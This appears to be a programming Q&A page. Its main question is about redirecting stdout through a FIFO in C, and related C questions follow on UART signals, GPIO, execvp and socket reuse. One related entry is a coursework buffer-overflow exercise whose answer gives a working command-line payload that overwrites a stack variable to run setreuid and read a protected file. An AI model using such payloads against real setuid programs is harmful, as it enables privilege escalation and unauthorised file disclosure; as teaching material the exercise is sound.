I'm writing an app that (ab)uses an APL engine, libapl.so. The library contains a mechanism to allow me to capture results, but some stuff it dumps to stdout and stderr. So my question is, is there way a to capture stuff written to stdout rather than having it go to a screen, get piped to another process, or some such? Is there a way, for example, to connect stdout to stdin of the same process? I've tinkered with pipe2(), dup(2), and various bits of weirdness in GTK+/Glib, but I haven't hit the right incantation yet.
Did some more poking--at least one solution seems to be to create a fifo, open() it twice, once for reading, one for writing, and dup2() the writing fd to the stdout fd. This results in writes to stdout going through the fifo pipe where it can be read by the application. (Thanks for some inspiration by someone named Hasturkun, almost 7 years ago.)
Here's a bit of demo code:
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int
main (int ac, char *av[])
{
char tname[64];
sprintf (tname, "/tmp/testpipe%d", (int)getpid ());
int rc = mkfifo (tname, 0666);
if (rc != 0) {
perror ("Creating fifo");
return 1;
}
int temp_in_fd = open (tname, O_NONBLOCK | O_RDONLY);
if (temp_in_fd < 0) {
perror ("Opening new input");
return 1;
}
int temp_out_fd = open (tname, O_NONBLOCK | O_WRONLY);
if (temp_out_fd < 0) {
perror ("Opening new output");
return 1;
}
FILE *temp_in = fdopen (temp_in_fd, "r");
if (!temp_in) {
perror ("Creating new input FILE");
return 1;
}
FILE *temp_out = fdopen (temp_out_fd, "w");
if (!temp_out) {
perror ("Creating new input FILE");
return 1;
}
dup2 (fileno (temp_out), STDOUT_FILENO);
printf("Woot!");
fflush(stdout);
#define BFR_SIZE 64
char bfr[BFR_SIZE];
ssize_t sz = fread (bfr, 1, BFR_SIZE, temp_in);
fprintf (stderr, "got %d bytes: \"%s\"\n", (int)sz, bfr);
fclose (temp_out);
fclose (temp_in);
unlink (tname);
return 0;
}
Related
I write a code to process real time video by using camera. I can run this code within any error by itself but I want to implement a UART interrupt. Basically I aim that when I take a data from UART, other processes will be interrupted and after reading data, processes will be continue.
Here my UART interrupt implemented code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <sys/signal.h>
#include <errno.h>
#include <termios.h>
#include <opencv2/opencv.hpp>
#include <iostream>
using namespace std;
using namespace cv;
void signal_handler_IO(int status);
VideoCapture vid("/dev/video0", CAP_V4L2);
int n;
int fd;
int connected;
struct termios termAttr;
struct sigaction saio;
const int fps = 20;
int main(int argc, char *argv[])
{
fd = open("/dev/ttyUSB0", O_RDWR | O_NOCTTY | O_NDELAY);
Mat frame;
if (fd == -1)
{
perror("open_port: Unable to open /dev/ttyO1\n");
exit(1);
}
saio.sa_handler = signal_handler_IO;
saio.sa_flags = 0;
saio.sa_restorer = NULL; //
sigaction(SIGIO,&saio,NULL);
fcntl(fd, F_SETFL, FNDELAY|FASYNC);
fcntl(fd, F_SETOWN, getpid());
tcgetattr(fd,&termAttr);
cfsetispeed(&termAttr,B9600);
cfsetospeed(&termAttr,B9600);
termAttr.c_cflag &= ~PARENB; // --> Parity Enable
termAttr.c_cflag &= ~CSTOPB; // -->two stop bit else one
termAttr.c_cflag &= ~CSIZE; // Character Size (C5, C6...)
termAttr.c_cflag |= CS8; // Charachter size 8 bit
termAttr.c_cflag |= (CLOCAL | CREAD);
//CLOCAL --> Ignore modem status lines. ¦ CREAD --> Enable receiver.
termAttr.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG);
termAttr.c_iflag &= ~(IXON | IXOFF | IXANY);
termAttr.c_oflag &= ~OPOST; // OPOST --> Post-process output
tcsetattr(fd, TCSANOW, &termAttr);
printf("UART1 configured....\n");
connected = 1;
if (!vid.isOpened())
{
return -1;
}
vid.set(CAP_PROP_FRAME_WIDTH, 1280);
vid.set(CAP_PROP_FRAME_HEIGHT, 720);
while (vid.read(frame))
{
imshow("webcam", frame);
if (waitKey(1000/fps) >= 0)
break;
}
destroyAllWindows();
vid.release();
close(fd);
exit(0);
}
void signal_handler_IO (int status)
{
printf("received data from UART.\n");
}
Now let's get to the main problem:
When I implement UART interrupt to this code, my captured video was stopped by the core (I takes Core Dumped Error). I guess that after process interrupted and when it will continue again, compiler is try to set again the video properties which I defined as
(vid.set(CAP_PROP_FRAME_WIDTH, 1280);)
(vid.set(CAP_PROP_FRAME_HEIGHT, 720);)
so I think I got such an error.
I think as I mentioned because when I deleted these size setting commands, code run very well with UART interrupt.
I try to define these commands globally but I cant do this. I take "vid does not name a type." error.
Thus, I can't solve this problem. I am not sure about why this problem occur and I don't know how it will be solved.
First, you cannot invoke printf(3) in a signal handler. Printf interacts with stdio, which in turn interacts with malloc(3); neither of these frameworks are signal safe. So, change your printf() to a write(2), which is safe.
That is unlikely to be your problem.
You didn't post the source to the implementation of vid, and in particular, how does vid.read deal with signals (ie EINTR)? Does it handle them correctly? Well? Perhaps return 0 if it is interrupted?
You will likely need to vet vid., so you should have a test candidate that gets a timer based signal over random intervals to gain confidence that it works.
Given below is the code from file q2.c
I need to use memory exploit to read the content of file 'secret' that has no read permission for my group.
I tried using ./q2 $(python -c 'print "\xad\xdd\xba"*1024 ') to get the output from file 'secret' (look line 28), but probably I did some mistake.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible
struct {
char buffer[1024];
volatile int changeme;
} locals;
locals.changeme = 0;
if (argc != 2) {
printf("Usage: q2 <some string>\n");
return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);
// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
setreuid(geteuid(),getegid());
system("cat /home/q2/secret");
}
else {
printf("Try again!\n");
}
exit(0);
}
The problem occurs when you pass the arguments from the command:
$(python -c 'print "\xad\xdd\xba"*1024 ')
Here \xad\xdd\xba, actually takes 3 bytes so it becomes 3*1024 bytes. Also 1024 is not divisible by 3, if the buffer was of size 1023, then it would have work.
So instead of this try:
$(python -c 'print "\xab" * 1024 + "\xad\xdd\xba"')
It will fill the buffer with \xab, then for the next three bytes, it will fill the integer with the value you want.
I was trying to make a simple push button and led with BBB, and I successed to make it work. But my question is, the led supposed to be turned off before I press the button, but with this the led is automatically turned on when I run the code, and turned off when I press the button. I'm trying to set the pull up/down resistor by cd /sys/class/gpio/gpio44/ - echo 0 > value but its "operation not permitted" warning always appears. Can someone help me? Here is my code:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <time.h>
void sig_handler(int signo)
{
if (signo == SIGINT)
printf("\nRecieved SIGINT\n");
exit(1);
}
void GPIOREAD(char *url, char* val)
{
FILE *path = fopen(url,"r");
fread(val, 2, 1, path);
fclose(path);
}
int main(void)
{
int status;
unsigned int cnt=0;
status = access("/sys/class/gpio/gpio44/value", F_OK );
if (status == -1)
{
//file doesnt exist
printf("GPIO_44 file doesnt exist dude\n");
exit(1);
}
status = access("/sys/class/gpio/gpio45/value", F_OK );
if (status == -1)
{
//file doesnt exist
printf("GPIO_45 file doesnt exist dude\n");
exit(1);
}
//set GPIO 45 as output
system("echo in > /sys/class/gpio/gpio44/direction");
system("echo out > /sys/class/gpio/gpio45/direction");
sleep(1);
char val[10];
while(1)
{
GPIOREAD("/sys/class/gpio/gpio44/value", val);
printf("BUTTON STAT %s\n", val);
if(!strcmp(val,"1\n"))
{
printf("%u) AAA LED --- ON\n", cnt);
system("echo 1 > /sys/class/gpio/gpio45/value");
}
else
{
printf("%u) AAA LED --- OFF\n", cnt);
system("echo 0 > /sys/class/gpio/gpio45/value");
}
}
return 0;
}
Are you running as root? Typically the files in /sys/class/gpio are owned by root, so you might simply have a permissions problem. Within your code, the mix of file operations and system(3) is unusual. Might be happier focusing on file ops only (but still must run as root). Good luck.
I want to use execvp to run commands through my program. The user is prompted for a command (exits on eof).
Once the program has a command it forks a child process to process the command while the parent waits for the child to finish.
I'm tokenizing the input to store it in a char* array which is kept track of by variable 'i'.
Except 'i' keeps changing its value with each iteration of the while loop.
sample input: /bin/ls -l
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#define BUFFER 1024
int main(){
pid_t p;
char* paramList[] = {};
char input[BUFFER];
int i = 0;
char* segments;
printf(">");
while(fgets(input, BUFFER, stdin) != NULL){
if((p = fork()) == 0){
printf("Executing: %s\n", input);
i = 0;
segments = strtok(input, " ");
paramList[i] = segments;
printf("%s%d\n", paramList[i], i);
i++;
while(segments != NULL){
segments = strtok(NULL, " ");
paramList[i] = segments;
printf("%s%d\n", segments, i);
i++;
}
paramList[i] = NULL;
execvp(paramList[0], paramList);
}else{
printf(">");
waitpid(p, NULL, 0);
}
}
return 0;
}
You're not declaring a size for paramList, but you're giving it an empty initializer list; thus paramList has zero elements. And then you're writing more than zero elements into it, overflowing onto other local variables (like i).
I am learning socket programming in c, I wrote this simple program to accept connections on port 5072. i connect to it using telnet. This works fine the first time but when i try to run it again immediately it fails showing BIND : Address already in use, but then again starts to work after a minute or so. What am i doing wromg?
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdlib.h>
int main(){
//variables
int listenfd, clientfd;
socklen_t clilen;
struct sockaddr_in cliaddr,servaddr;
//getsocket
if((listenfd = socket(AF_INET,SOCK_STREAM,0)) == -1){
perror("SOCKET");
exit(0);
}
//prep the servaddr
bzero(&servaddr,sizeof servaddr);
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr ("127.0.0.1");
servaddr.sin_port = htons(5072);
//bind
if(bind(listenfd, (struct sockaddr *) &servaddr,sizeof servaddr)<0){
perror("BIND");
exit(0);
}
//listen
if(listen(listenfd,20)<0){
perror("LISTEN");
exit(0);
}
//accept
int counter = 1;
clilen = sizeof cliaddr;
while(counter<3){
clientfd = accept(listenfd,(struct sockaddr *) &cliaddr,&clilen);
if(clientfd == -1){
perror("ACCEPT");
exit(0);
}
if(fork()==0){
close(listenfd);
printf("CONNECTION NO. %d\n",counter);
close(clientfd);
exit(0);
}
counter++;
close(clientfd);
}
close(listenfd);
}
Thanks
You must setsockopt(SO_REUSEADDR)
See this faq for explanation why.
Or simply wait a couple minutes. The TCP/IP stack holds onto the socket for twice the maximum segment lifetime after close,to prevent any stray packets from the first connection from showing up after a second one's established, which will make it all confused.